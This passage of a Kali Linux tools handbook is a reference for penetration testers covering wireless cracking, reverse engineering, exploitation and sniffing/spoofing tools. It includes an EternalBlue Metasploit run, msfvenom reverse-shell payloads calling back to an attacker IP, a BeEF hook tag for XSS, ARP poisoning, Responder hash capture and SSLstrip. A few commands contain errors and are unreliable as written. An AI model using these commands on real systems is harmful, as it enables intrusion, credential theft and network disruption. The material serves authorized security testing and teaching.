Expected Outcome: A list of nearby access points with WPS enabled, including their BSSID, channel, WPS version, and whether WPS is currently locked.

Commands by Use Case

Scan for WPS-enabled access points

```
wash -i wlan0mon
```

Passively listens for beacon frames and reports which nearby access points have WPS enabled and their lock status.

7. Fern Wifi Cracker

Description: Fern Wifi Cracker is a graphical wireless security auditing tool built on Aircrack-ng and Reaver, providing a point-and-click interface for WEP/WPA cracking, WPS attacks, and session hijacking over wireless networks.

Why We Use It: Used when a GUI-driven wireless assessment workflow is preferred over the command-line Aircrack-ng suite, useful for quickly running standard attacks without memorizing multiple command syntaxes.

Expected Outcome: The same categories of outcomes as the underlying Aircrack-ng/Reaver tools (cracked WEP/WPA keys, WPS PINs), presented and managed through the GUI.

Commands by Use Case

Scan and select a target network

`fern-wifi-cracker` (GUI: select wireless interface > Scan for Access Points)

Scans for nearby networks and lists them by encryption type (WEP/WPA) for the user to choose a target.

Launch a WPA attack against the selected network

`fern-wifi-cracker` (GUI: select target > 'WPA Attack' tab > choose wordlist > Attack)

Initiates handshake capture and cracking against the selected WPA-secured network using the GUI's guided workflow.

8. PixieWPS

Description: Pixiewps performs an offline brute-force of the WPS PIN by exploiting weak randomness in certain access point chipsets' WPS implementation (the 'Pixie Dust' attack), recovering the PIN in seconds rather than hours.

Why We Use It: Used against vulnerable AP chipsets where the standard online WPS brute force (Reaver/Bully) would take far too long, exploiting a cryptographic weakness to compute the PIN offline almost instantly.

Expected Outcome: The recovered WPS PIN, computed offline from captured WPS exchange data, typically obtained in seconds when the target chipset is vulnerable.

Commands by Use Case

Run the offline attack using captured WPS data

`pixiewps --pke <PKE> --pkr <PKR> --e-hash1 <HASH1> --e-hash2 <HASH2> --authkey <AUTHKEY> --e-nonce <ENONCE>`

Feeds the WPS exchange values captured (typically via Reaver's -K/pixie-dust mode) into Pixiewps to compute the PIN offline.

9. MDK4

Description: MDK4 is a proof-of-concept wireless testing tool for exploiting 802.11 protocol weaknesses, capable of generating deauthentication/disassociation floods, beacon flooding, and other denial-of-service style attacks against wireless networks.

Why We Use It: Used to test a wireless network's resilience to denial-of-service style attacks and to force client disconnections (which can also aid handshake capture) during a wireless assessment.

Expected Outcome: Demonstrated impact of a wireless DoS/flooding attack on the target network, such as clients being disconnected or the network becoming unusable during the test.

Commands by Use Case

Deauthentication flood against a target AP

```
mdk4 wlan0mon d -b bssid_list.txt
```

Sends deauthentication frames to disconnect clients from access points listed in the BSSID file.

Beacon flood to create fake access points

```
mdk4 wlan0mon b -f ssid_list.txt
```

Broadcasts beacon frames for a list of fake SSIDs, which can be used to test how client devices and monitoring systems respond to spoofed networks.

10. Cowpatty

Description: Cowpatty performs offline dictionary attacks against WPA/WPA2-PSK networks using a captured 4-way handshake, and supports precomputed PMK (Pairwise Master Key) hash files for significantly faster repeated cracking against a known SSID.

Why We Use It: Used as an alternative WPA-PSK cracking tool to aircrack-ng, particularly valuable when a precomputed hash file for a common SSID is available, since it avoids recomputing the PBKDF2 key derivation for every wordlist entry.

Expected Outcome: The recovered WPA/WPA2 pre-shared key, given a valid captured handshake and a wordlist (or matching precomputed hash file) containing the correct passphrase.

Commands by Use Case

Crack a handshake with a wordlist

```
cowpatty -r capture.cap -f rockyou.txt -s TargetSSID
```

Attempts to recover the WPA passphrase from the captured handshake file using the specified wordlist and SSID.

Crack using a precomputed hash file

```
cowpatty -d hashfile.hcx -r capture.cap -s TargetSSID
```

Uses a precomputed PMK hash file for the given SSID to speed up the cracking attempt significantly.

Kali Linux Tools Handbook

Volume 7: Reverse Engineering

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Ghidra	
2. Radare2 (r2)	
3. Cutter	
4. GDB (GNU Debugger) with GEF	
5. APKTool	
6. Jadx	
7. Dex2jar	
8. Objdump	
9. Strings	
10. edb-debugger (Evan's Debugger)	

Introduction

This handbook documents the tools found in Kali Linux's Reverse Engineering category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 7 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Ghidra

Description: Ghidra is a full-featured software reverse engineering suite developed by the NSA, offering disassembly, decompilation (converting machine code to readable pseudo-C), scripting, and collaborative analysis of binaries across many architectures.

Why We Use It: Used as a primary static analysis platform for understanding the behavior of compiled binaries (malware samples, firmware, CTF challenges) without needing the original source code, thanks to its high-quality decompiler.

Expected Outcome: A navigable disassembly and decompiled pseudo-code view of the target binary, annotated with identified functions, strings, and cross-references, supporting deep manual analysis.

Commands by Use Case

Import and auto-analyze a binary

ghidraRun (GUI: File > New Project > Import File, select the binary, then accept default Auto Analysis options)

Loads the binary into a new Ghidra project and runs automated analysis to identify functions, strings, and references.

View decompiled pseudo-code for a function

Ghidra GUI: double-click a function in the Symbol Tree, view the 'Decompile' panel

Shows Ghidra's decompiler output for the selected function, which is often far easier to read than raw assembly.

Run a headless analysis from the command line

```
analyzeHeadless /path/to/project ProjectName -import sample.bin -postScript  
ExtractStrings.java
```

Runs Ghidra's analysis without the GUI, useful for automating analysis of many binaries in a pipeline.

2. Radare2 (r2)

Description: Radare2 is a comprehensive, scriptable command-line framework for reverse engineering and binary analysis, supporting disassembly, debugging, binary patching, and forensics across a wide range of file formats and architectures.

Why We Use It: Used when a fast, scriptable, terminal-based reverse engineering workflow is preferred over a GUI, particularly valuable for automation, remote analysis over SSH, or integration into custom tooling.

Expected Outcome: Detailed information about the binary's structure, disassembled functions, strings, and (in debug mode) live execution state, all accessible through r2's command language.

Commands by Use Case

Open a binary and run auto-analysis

```
r2 -A ./sample_binary
```

Opens the binary and performs full automatic analysis (functions, references, strings) before dropping into the interactive prompt.

List identified functions

```
afl
```

Inside the r2 prompt, lists all functions identified during analysis along with their addresses.

Disassemble a specific function

```
pdf @ main
```

Prints the disassembly of the 'main' function ('pdf' = print disassembly function).

Debug the binary and set a breakpoint

```
r2 -d ./sample_binary  
db main  
dc
```

Starts the binary under r2's debugger, sets a breakpoint at 'main', then continues execution until the breakpoint is hit.

3. Cutter

Description: Cutter is a graphical front-end for Radare2 (and its rizin fork), providing a visual disassembly view, decompiler integration, graph view of control flow, and debugging — making r2's capabilities accessible without memorizing its command syntax.

Why We Use It: Used when radare2's power is wanted but a visual interface is preferred for navigating disassembly, viewing control-flow graphs, or working collaboratively with less command-line-focused team members.

Expected Outcome: A graphical, interactive view of the binary's disassembly, function graphs, and (with a decompiler plugin) pseudo-code, alongside the same underlying analysis radare2 produces.

Commands by Use Case

Open a binary for analysis

`cutter` (GUI: File > Open File, select binary, accept default analysis level)

Loads the binary and runs Cutter's analysis, then displays the disassembly and function list.

View the control-flow graph of a function

Cutter GUI: select a function > Graph view tab

Displays a visual control-flow graph of the selected function's basic blocks and branches.

4. GDB (GNU Debugger) with GEF

Description: GDB is the standard Unix/Linux debugger for compiled programs, supporting breakpoints, memory/register inspection, and step-through execution; GEF (GDB Enhanced Features) is a popular plugin that adds exploit-development-oriented views (heap layout, register context, disassembly) on top of it.

Why We Use It: Used for dynamic analysis — actually running the target binary under a debugger to observe its runtime behavior, memory layout, and register state, which is essential for exploit development and understanding crashes.

Expected Outcome: Live insight into the program's execution state at chosen breakpoints, including register values, stack/heap contents, and disassembly context, aiding vulnerability analysis and exploit development.

Commands by Use Case

Start debugging a binary

`gdb ./sample_binary`

Loads the binary into GDB (with GEF's enhanced context display active if installed) ready for breakpoints and execution.

Set a breakpoint and run

`break main`
`run`

Sets a breakpoint at the 'main' function and starts execution, pausing when that point is reached.

Inspect registers and disassembly at a breakpoint

`context`

With GEF loaded, displays a consolidated view of registers, stack, and nearby disassembly at the current execution point.

5. APKTool

Description: APKTool decodes Android APK files into a near-original source form (Smali code and resource files), allowing modification, and can rebuild a modified project back into an installable APK.

Why We Use It: Used to reverse engineer Android applications — inspecting their resources, manifest, and Smali bytecode to understand app behavior, find hardcoded secrets, or analyze for vulnerabilities/malware.

Expected Outcome: A decoded project directory containing the app's resources, AndroidManifest.xml, and disassembled Smali code, ready for manual review or modification.

Commands by Use Case

Decompile an APK

```
apktool d app.apk -o app_decoded
```

Decodes the APK's resources and Smali bytecode into the specified output directory for review.

Rebuild a modified project into an APK

```
apktool b app_decoded -o app_modified.apk
```

Repackages a (possibly modified) decoded project directory back into an installable APK file.

6. Jadx

Description: Jadx is a decompiler that converts Android DEX/APK bytecode directly into readable Java source code, offering both a GUI and command-line interface for browsing decompiled classes.

Why We Use It: Used when readable Java-like source (rather than Smali bytecode from APKTool) is preferred for quickly understanding an Android app's logic, since Java decompilation is generally easier to read than raw bytecode.

Expected Outcome: A set of decompiled Java source files representing the app's classes, navigable and searchable for logic review, hardcoded values, or vulnerability analysis.

Commands by Use Case

Decompile an APK to Java source via CLI

```
jadx -d output_dir app.apk
```

Decompiles the APK's classes to Java source files in the specified output directory.

Browse decompiled code in the GUI

```
jadx-gui app.apk
```

Opens the APK in Jadx's graphical interface, allowing the analyst to search and browse decompiled classes interactively.

7. Dex2jar

Description: Dex2jar converts Android DEX bytecode (the format used inside APKs) into standard Java JAR files, which can then be opened with conventional Java decompilers or analysis tools.

Why We Use It: Used as an intermediate conversion step when the analyst wants to use general-purpose Java analysis/decompilation tools (rather than Android-specific ones) against an Android app's bytecode.

Expected Outcome: A .jar file containing the app's classes converted from DEX bytecode, ready to be opened in a Java decompiler such as JD-GUI.

Commands by Use Case

Convert an APK's classes.dex to a JAR

```
d2j-dex2jar.sh app.apk
```

Extracts and converts the DEX bytecode inside the APK into a corresponding JAR file for further analysis.

8. Objdump

Description: objdump is a standard Binutils utility that displays information from object files and binaries, including disassembly, symbol tables, section headers, and relocation information.

Why We Use It: Used for quick, scriptable command-line disassembly or binary inspection without launching a full reverse engineering suite, particularly handy for fast checks or embedding in automated pipelines.

Expected Outcome: Textual disassembly, symbol table listings, or header/section information for the target binary, depending on the flags used.

Commands by Use Case

Disassemble a binary in Intel syntax

```
objdump -d -M intel ./sample_binary
```

Prints the disassembled machine code of the binary using Intel-style assembly syntax.

Display the symbol table

```
objdump -t ./sample_binary
```

Lists all symbols (functions, variables) found in the binary's symbol table.

Display section headers

```
objdump -h ./sample_binary
```

Shows the binary's section headers (e.g., .text, .data, .bss) along with their sizes and addresses.

9. Strings

Description: strings is a simple utility that scans a binary (or any file) for sequences of printable characters, often quickly revealing embedded text such as URLs, file paths, error messages, or hardcoded credentials.

Why We Use It: Used as a very first, low-effort step in analyzing an unknown binary, since readable strings can quickly hint at the program's purpose, libraries used, or embedded sensitive data before deeper disassembly is attempted.

Expected Outcome: A list of printable text strings found within the binary, which often provides quick clues about functionality, configuration, or embedded secrets.

Commands by Use Case

Extract all printable strings from a binary

```
strings ./sample_binary
```

Prints every sequence of printable characters (default minimum length 4) found in the file.

Search for a specific pattern among strings

```
strings ./sample_binary | grep -i 'password'
```

Extracts strings and filters for ones containing 'password' (case-insensitive), a common way to spot hardcoded credentials.

10. edb-debugger (Evan's Debugger)

Description: edb-debugger is a graphical, modular debugger for Linux x86/x86-64 binaries, similar in spirit to OllyDbg on Windows, offering a visual view of disassembly, registers, stack, and memory during live debugging.

Why We Use It: Used for GUI-based dynamic analysis on Linux when a visual, OllyDbg-like debugging experience is preferred over GDB's command-line interface, particularly for exploit development and malware analysis.

Expected Outcome: Live, visual insight into a running binary's disassembly, register state, and memory/stack contents at breakpoints, supporting step-through debugging and patching.

Commands by Use Case

Load and debug a binary

```
edb --run ./sample_binary
```

Launches the target binary under edb-debugger, ready for breakpoints and step-through analysis in the GUI.

Set a breakpoint at a specific address

edb GUI: right-click the target address in the disassembly view > Toggle Breakpoint

Sets an executable breakpoint at the chosen instruction address for later pausing during execution.

Kali Linux Tools Handbook

Volume 8: Exploitation Tools

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Metasploit Framework.....	
2. MSFvenom	
3. Armitage	
4. BeEF (Browser Exploitation Framework)	
5. SearchSploit	
6. RouterSploit	
7. ATSCAN	
8. JBoss-Autopwn.....	

Introduction

This handbook documents the tools found in Kali Linux's Exploitation Tools category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 8 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Metasploit Framework

Description: Metasploit Framework is the industry-standard exploitation framework, providing a vast library of ready-made exploit modules, payloads, auxiliary scanners, and post-exploitation modules, all managed through a consistent console (msfconsole) interface.

Why We Use It: Used as the central platform for exploiting identified vulnerabilities in a controlled, repeatable way — selecting a known exploit module for a target service, configuring options, and launching it with a chosen payload rather than writing exploit code from scratch.

Expected Outcome: Depending on the exploit and payload used, outcomes range from a confirmed vulnerability (no shell) to a full interactive session (Meterpreter or standard shell) on the target system.

Commands by Use Case

Search for an exploit module

```
msfconsole  
search type:exploit ms17-010
```

Launches the console and searches the module database for exploits related to MS17-010 (EternalBlue).

Configure and run an exploit

```
use exploit/windows/smb/ms17_010_eternalblue  
set RHOSTS 192.168.1.10  
set PAYLOAD windows/x64/meterpreter/reverse_tcp  
set LHOST 192.168.1.5  
exploit
```

Selects the EternalBlue exploit, sets the target and attacker (listener) addresses, chooses a Meterpreter payload, and launches the exploit.

Use an auxiliary scanner module

```
use auxiliary/scanner/smb/smb_version  
set RHOSTS 192.168.1.0/24  
run
```

Runs a non-exploitation auxiliary module to fingerprint SMB versions across a subnet, useful before choosing an exploit.

2. MSFvenom

Description: MSFvenom is Metasploit's standalone payload generation and encoding tool, combining the former msfpayload and msfencode utilities to create custom executable payloads, shellcode, or scripts for a wide range of platforms and formats.

Why We Use It: Used to generate a custom payload (e.g., a Windows .exe, an Android APK, or raw shellcode) tailored to a specific delivery method and target platform, independent of running a live exploit.

Expected Outcome: A generated payload file (executable, script, or shellcode) that, when executed on the target, establishes a connection back to the attacker's configured listener.

Commands by Use Case

Generate a Windows reverse-shell executable

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
```

Creates a Windows executable that, when run, connects back to the specified attacker IP/port with a Meterpreter session.

Generate an Android payload APK

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -o payload.apk
```

Builds an Android APK payload for testing mobile device exploitation scenarios (with proper authorization).

Generate raw shellcode for use in a custom exploit

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c
```

Outputs the payload as C-formatted shellcode bytes, ready to embed into a custom exploit proof-of-concept.

3. Armitage

Description: Armitage is a graphical cyber-attack management tool for Metasploit that visualizes targets, recommends exploits based on detected services, and allows team collaboration during red-team engagements.

Why We Use It: Used when a visual, collaborative interface to Metasploit is preferred, particularly helpful for visualizing a network of compromised/targeted hosts and coordinating actions across a team.

Expected Outcome: A graphical map of targets and their status (scanned, exploited, sessions active), with the same underlying exploitation results Metasploit itself would produce.

Commands by Use Case

Connect Armitage to the Metasploit RPC service

armitage

Starts Armitage and connects to (or starts) the Metasploit RPC backend, then displays the target visualization canvas.

Scan and auto-suggest exploits for a host

Armitage GUI: Hosts > Nmap Scan > Quick Scan, then right-click a host > Attacks > Find Attacks

Scans the target and has Armitage cross-reference detected services against applicable Metasploit exploit modules.

4. BeEF (Browser Exploitation Framework)

Description: BeEF is a penetration testing tool focused entirely on the web browser, hooking a victim's browser via injected JavaScript and then using that hook to launch further modules — browser fingerprinting, social engineering prompts, network reconnaissance, and more.

Why We Use It: Used to demonstrate the impact of a client-side vulnerability such as stored XSS by turning a hooked browser into a foothold for further attacks against the browser's user or their internal network.

Expected Outcome: A 'hooked' browser session under the tester's control within BeEF's dashboard, from which various browser-context modules can be run against that specific victim session.

Commands by Use Case

Start the BeEF server

```
beef-xss
```

Starts BeEF's web service, providing a hook.js script URL to inject and an admin dashboard (default at <http://127.0.0.1:3000/ui/panel>).

Hook a browser via an XSS point

```
<script src="http://192.168.1.5:3000/hook.js"></script>
```

This script tag, when reflected/stored via an XSS vulnerability and loaded by a victim's browser, hooks that browser into the BeEF dashboard.

Run a module against a hooked browser

BeEF dashboard: select a hooked browser > Commands tab > choose a module (e.g., 'Get Cookie') > Execute

Runs a chosen module against the specific hooked browser session, such as retrieving cookies or attempting further social engineering.

5. SearchSploit

Description: SearchSploit is the offline command-line search tool for the Exploit-DB archive included in Kali, letting analysts quickly search for known public exploits and proof-of-concept code matching a software name/version without needing internet access.

Why We Use It: Used immediately after identifying a specific software product/version on a target, to quickly check whether a known, publicly available exploit exists for it.

Expected Outcome: A list of matching exploit-database entries (with paths to the local exploit code) for the searched software/version, ready to review or copy out for use.

Commands by Use Case

Search for exploits by product name

```
searchsploit apache 2.4.49
```

Searches the local Exploit-DB mirror for entries matching the given software and version string.

Copy a found exploit to the working directory

```
searchsploit -m 50383
```

Copies the exploit with the given Exploit-DB ID into the current directory for review or use.

Update the local exploit database

```
searchsploit -u
```

Pulls the latest exploit entries into the local database so recently disclosed exploits are searchable.

6. RouterSploit

Description: RouterSploit is an exploitation framework, structured similarly to Metasploit, dedicated specifically to embedded devices such as routers, IP cameras, and IoT devices, with modules for known exploits, credential brute-forcing, and scanning.

Why We Use It: Used when the assessment scope includes network appliances or IoT/embedded devices, since Metasploit's module library is comparatively thin for this device category while RouterSploit specializes in it.

Expected Outcome: Confirmation of a known vulnerability or default-credential weakness on the target embedded device, and in some cases, remote command execution or a shell.

Commands by Use Case

Scan a device for applicable exploits

```
rsf  
use scanners/autopwn
```

```
set target 192.168.1.1
run
```

Automatically checks the target IP against RouterSploit's full module library to identify which known exploits might apply.

Run a specific exploit module

```
use exploits/dlink/dir_615_up_exec
set target 192.168.1.1
run
```

Loads and runs a specific exploit module targeting a known vulnerability in a D-Link router model.

Brute-force device credentials

```
use creds/generic/http_basic_digest_bruteforce
set target 192.168.1.1
run
```

Attempts to brute-force HTTP basic/digest authentication credentials on the target device's web interface.

7. ATSCAN

Description: ATSCAN is a multi-purpose scanning and exploitation tool that searches for vulnerable websites and servers using search-engine dorking, and includes modules for testing common vulnerabilities like admin panel discovery and LFI.

Why We Use It: Used for mass vulnerability discovery across many websites at once via search-engine-based target discovery, often for identifying easy targets sharing a common vulnerable software component.

Expected Outcome: A list of discovered websites matching the search criteria, flagged with any detected vulnerabilities such as exposed admin panels or common injection points.

Commands by Use Case

Search and scan using a dork

```
perl atscan.pl --dork "inurl:admin/login.php" --search bing
```

Uses a search-engine dork to find sites matching the pattern and checks the results for the targeted issue.

8. JBoss-Autopwn

Description: JBoss-Autopwn is an exploitation tool that targets vulnerable JBoss Application Server deployments, automating the process of deploying a malicious WAR file through exposed management interfaces to achieve remote code execution.

Why We Use It: Used specifically against outdated or misconfigured JBoss servers with an exposed, unauthenticated management console — a historically common finding — to demonstrate remote code execution impact.

Expected Outcome: A deployed web shell or reverse shell on the target JBoss server, achieved by abusing the exposed deployment interface.

Commands by Use Case

Target a JBoss server for exploitation

```
./jboss-autopwn-linux.sh -t 192.168.1.10 -p 8080
```

Attempts to deploy a malicious WAR payload through the target's exposed JBoss management interface to gain remote code execution.

Kali Linux Tools Handbook

Volume 9: Sniffing & Spoofing

A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Wireshark	
2. Tcpdump	
3. Ettercap	
4. Bettercap	
5. Dsniff Suite	
6. Responder	
7. DNSChef	
8. Mitmproxy	
9. SSLstrip	
10. Macchanger	
11. Scapy	

Introduction

This handbook documents the tools found in Kali Linux's Sniffing & Spoofing category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 9 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Wireshark

Description: Wireshark is the most widely used network protocol analyzer, capturing live traffic or reading saved capture files and providing deep, protocol-aware inspection down to individual packet fields across hundreds of protocols.

Why We Use It: Used for detailed manual traffic analysis — troubleshooting network issues, verifying whether sensitive data is transmitted in cleartext, and analyzing captured attack traffic or malware command-and-control communication.

Expected Outcome: A fully decoded, filterable view of captured network traffic, letting the analyst inspect protocol fields, follow TCP streams, and extract transmitted data (files, credentials, etc.) where unencrypted.

Commands by Use Case

Capture live traffic on an interface

```
wireshark -i eth0 -k
```

Starts Wireshark and immediately begins capturing on the specified interface.

Filter for HTTP traffic containing a keyword

```
http contains "password"
```

A display filter (entered in the Wireshark filter bar) that shows only HTTP packets whose payload contains the word 'password'.

Follow a TCP stream

Wireshark GUI: right-click a packet > Follow > TCP Stream

Reconstructs and displays the full conversation for the selected TCP connection, useful for reading plaintext protocol exchanges.

Analyze a saved capture from the command line

```
tshark -r capture.pcap -Y "dns"
```

Uses Wireshark's command-line component (tshark) to read a saved capture file and filter for DNS packets only.

2. Tcpdump

Description: tcpdump is a lightweight, command-line packet capture and analysis tool that prints or saves network traffic matching a specified filter expression, without needing a graphical interface.

Why We Use It: Used when a minimal-footprint, scriptable capture tool is needed — for example on a remote server via SSH, or when quickly checking traffic without launching a full GUI application.

Expected Outcome: Captured packet data, either displayed as a live text stream or saved to a .pcap file for later analysis (e.g., in Wireshark).

Commands by Use Case

Capture traffic on an interface

```
tcpdump -i eth0
```

Displays a live, real-time summary of packets seen on the specified interface.

Save traffic to a file for later analysis

```
tcpdump -i eth0 -w capture.pcap
```

Writes raw captured packets to a file that can later be opened in Wireshark or reprocessed with tcpdump itself.

Filter for traffic to/from a specific host and port

```
tcpdump -i eth0 host 192.168.1.10 and port 443
```

Limits the capture to traffic involving the specified host on port 443 (HTTPS).

3. Ettercap

Description: Ettercap is a comprehensive suite for man-in-the-middle attacks on LANs, supporting ARP poisoning, live traffic sniffing/filtering, and protocol dissection, with both a text-based and graphical interface.

Why We Use It: Used to intercept traffic between hosts on a local network segment by poisoning ARP caches, positioning the attacker's machine as a relay to observe or modify traffic between two targets.

Expected Outcome: Captured or modified traffic passing between the two ARP-poisoned targets, potentially revealing credentials or session data transmitted without encryption.

Commands by Use Case

ARP-poison two hosts and sniff traffic (GUI)

```
ettercap -G
```

Opens Ettercap's graphical interface, from which targets can be selected and ARP poisoning plus sniffing started.

ARP-poison from the command line

```
ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.20//
```

Runs a text-mode MITM attack between the specified gateway and target host, poisoning both ARP caches and passively sniffing traffic.

4. Bettercap

Description: Bettercap is a modern, modular network attack and monitoring framework supporting ARP/DNS spoofing, traffic sniffing and manipulation, Wi-Fi and Bluetooth Low Energy reconnaissance, and a scriptable, extensible caplet system.

Why We Use It: Used as a more actively maintained, feature-rich alternative to Ettercap for network MITM attacks, and additionally for wireless/BLE reconnaissance not covered by Ettercap.

Expected Outcome: Intercepted or manipulated network traffic between targeted hosts, plus (depending on modules used) discovered wireless/BLE devices and their characteristics.

Commands by Use Case

Start an interactive session on an interface

```
bettercap -iface eth0
```

Launches Bettercap's interactive shell bound to the specified interface, ready to load modules.

ARP-spoof and sniff traffic

```
net.probe on
set arp.spoof.targets 192.168.1.20
arp.spoof on
net.sniff on
```

Inside the Bettercap shell: discovers hosts, configures the ARP spoofing target, enables spoofing, then starts sniffing traffic passing through.

Scan for nearby Bluetooth Low Energy devices

```
ble.recon on
```

Enables Bettercap's BLE reconnaissance module to discover nearby Bluetooth Low Energy devices and their services.

5. Dsniff Suite

Description: dsniff is a classic collection of network auditing and penetration testing tools including dsniff (passive credential sniffer for various protocols), arpspoof (ARP cache poisoning), and mailsnarf/urllib (extracting emails/URLs from traffic).

Why We Use It: Used for straightforward, targeted sniffing tasks — capturing cleartext credentials from legacy protocols, or performing ARP spoofing as a lightweight alternative to Ettercap/Bettercap.

Expected Outcome: Extracted cleartext credentials, URLs, or email content observed passing over the network, or successful ARP-based traffic redirection depending on the specific utility used.

Commands by Use Case

ARP-spoof a target toward the gateway

```
arp spoof -i eth0 -t 192.168.1.20 192.168.1.1
```

Sends spoofed ARP replies to the target so its traffic destined for the gateway is redirected through the attacker's machine.

Passively sniff for cleartext credentials

```
dsniff -i eth0
```

Monitors traffic on the interface and extracts credentials from recognized cleartext protocols (FTP, Telnet, HTTP basic auth, etc.).

Extract URLs from HTTP traffic

```
urlsnarf -i eth0
```

Logs HTTP requests seen on the interface in a combined-log format, showing URLs visited by users on the network.

6. Responder

Description: Responder is a tool for poisoning LLMNR, NBT-NS, and mDNS name resolution requests on a Windows network, capturing NTLMv2 password hashes when a victim machine tries to resolve a non-existent hostname.

Why We Use It: Used during internal Windows/Active Directory assessments to capture NTLMv2 hashes passively (via poisoned name resolution) which can then be cracked offline or relayed for further access.

Expected Outcome: Captured NTLMv2 hash(es) from victim machines that attempted to resolve a poisoned name, saved to a log file for offline cracking or SMB relay attacks.

Commands by Use Case

Start Responder on an interface

```
responder -l eth0
```

Begins listening for and poisoning LLMNR/NBT-NS/mDNS requests on the specified interface, logging any captured NTLMv2 hashes.

Run Responder in analyze-only mode

```
responder -l eth0 -A
```

Passively monitors the described traffic without sending poisoned responses, useful for reconnaissance before actively poisoning.

7. DNSChef

Description: DNSChef is a configurable DNS proxy ('fake DNS server') that can respond to specified domain queries with attacker-controlled IP addresses while forwarding all other queries normally, commonly used alongside ARP spoofing or as a standalone MITM DNS server.

Why We Use It: Used to redirect a victim's traffic for specific domains to an attacker-controlled server (for phishing, credential capture, or traffic interception) while leaving unrelated DNS traffic unaffected.

Expected Outcome: Victims configured to use the DNSChef server resolve targeted domains to the attacker's chosen IP, redirecting their traffic for those domains as configured.

Commands by Use Case

Redirect a specific domain to an attacker IP

```
dnschef --fakedomains example.com --fakeip 192.168.1.5
```

Runs the fake DNS server, resolving example.com to the attacker's IP while passing through all other domain queries normally.

Redirect all domains (full MITM DNS)

```
dnschef --fakeip 192.168.1.5
```

Resolves every DNS query to the attacker's IP address, useful in a full traffic-interception scenario.

8. Mitmproxy

Description: mitmproxy is an interactive, scriptable HTTPS-capable proxy for inspecting, modifying, and replaying HTTP/HTTPS traffic between a client and server, with a terminal UI, web UI (mitmweb), and Python scripting API.

Why We Use It: Used for intercepting and manipulating HTTPS traffic from applications (web browsers, mobile apps) during testing, particularly valued for its scripting capabilities to automate complex traffic-modification logic.

Expected Outcome: A recorded, inspectable, and modifiable log of intercepted HTTP/HTTPS requests and responses, with the ability to replay or alter traffic in transit.

Commands by Use Case

Start the interactive terminal proxy

```
mitmproxy -p 8080
```

Starts the proxy listening on port 8080; traffic routed through it (with the client trusting mitmproxy's CA cert) can be inspected interactively.

Run the web-based interface

```
mitmweb -p 8080
```

Starts the proxy with a browser-accessible interface instead of the terminal UI, useful for easier navigation of captured traffic.

Modify traffic with a custom script

```
mitmdump -s modify_response.py -p 8080
```

Runs the proxy in headless mode while applying a custom Python script that programmatically alters matching requests/responses.

9. SSLstrip

Description: SSLstrip performs a downgrade attack by transparently intercepting HTTP-to-HTTPS redirects and instead serving the victim a plain HTTP version of the site, capturing any submitted credentials before they would have been encrypted.

Why We Use It: Used (typically combined with ARP spoofing) to demonstrate the risk of applications that don't strictly enforce HTTPS (no HSTS or weak redirect handling), by stripping encryption from what the victim believes is a secure connection.

Expected Outcome: Captured cleartext credentials or form data that the victim submitted over what appeared to be a normal browsing session, due to the connection being silently downgraded to HTTP.

Commands by Use Case

Run sslstrip listening for redirected traffic

```
sslstrip -l 8080
```

Starts sslstrip listening on the specified port, intended to receive traffic redirected to it via iptables and ARP spoofing.

Redirect HTTP traffic to sslstrip via iptables

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Configures the local firewall to send intercepted HTTP traffic to sslstrip's listening port as part of the MITM setup.

10. Macchanger

Description: macchanger is a simple utility for viewing and manually changing a network interface's MAC address, including generating a random MAC or spoofing a MAC belonging to a specific vendor.

Why We Use It: Used for MAC address spoofing during wireless assessments (e.g., bypassing MAC-based access control lists) or for privacy/anonymity purposes to avoid identifying the true hardware address of the testing machine.

Expected Outcome: The network interface's MAC address changed to the specified or randomly generated value, which persists until reboot or another change.

Commands by Use Case

Show the current MAC address

```
macchanger -s wlan0
```

Displays the interface's current MAC address along with the identified hardware vendor.

Randomize the MAC address

```
macchanger -r wlan0
```

Sets the interface to a randomly generated MAC address.

Set a specific MAC address

```
macchanger -m 00:11:22:33:44:55 wlan0
```

Manually sets the interface's MAC address to the specified value.

11. Scapy

Description: Scapy is a powerful Python-based interactive packet manipulation library/tool that can craft, send, sniff, and dissect network packets at nearly any protocol layer, making it a flexible building block for custom network attack or testing scripts.

Why We Use It: Used when off-the-shelf tools don't cover a specific need — crafting unusual or malformed packets, building a custom protocol fuzzer, or writing automated sniffing/spoofing logic in Python.

Expected Outcome: Custom-crafted packets sent to the target (for testing protocol handling, spoofing, or fuzzing) and/or dissected packet data from captured or sniffed traffic, depending on the script's purpose.

Commands by Use Case

Craft and send a spoofed ICMP packet

```
scapy  
>>> send(IP(src="10.0.0.1", dst="192.168.1.10")/ICMP())
```

Inside the interactive Scapy shell, constructs and sends an ICMP echo request with a spoofed source IP address.

Sniff packets matching a filter

```
>>> sniff(iface="eth0", filter="tcp port 80", count=10, prn=lambda p: p.summary())
```

Captures 10 HTTP packets on the interface, printing a one-line summary for each as it's captured.

Kali Linux Tools Handbook

Volume 10: Post Exploitation

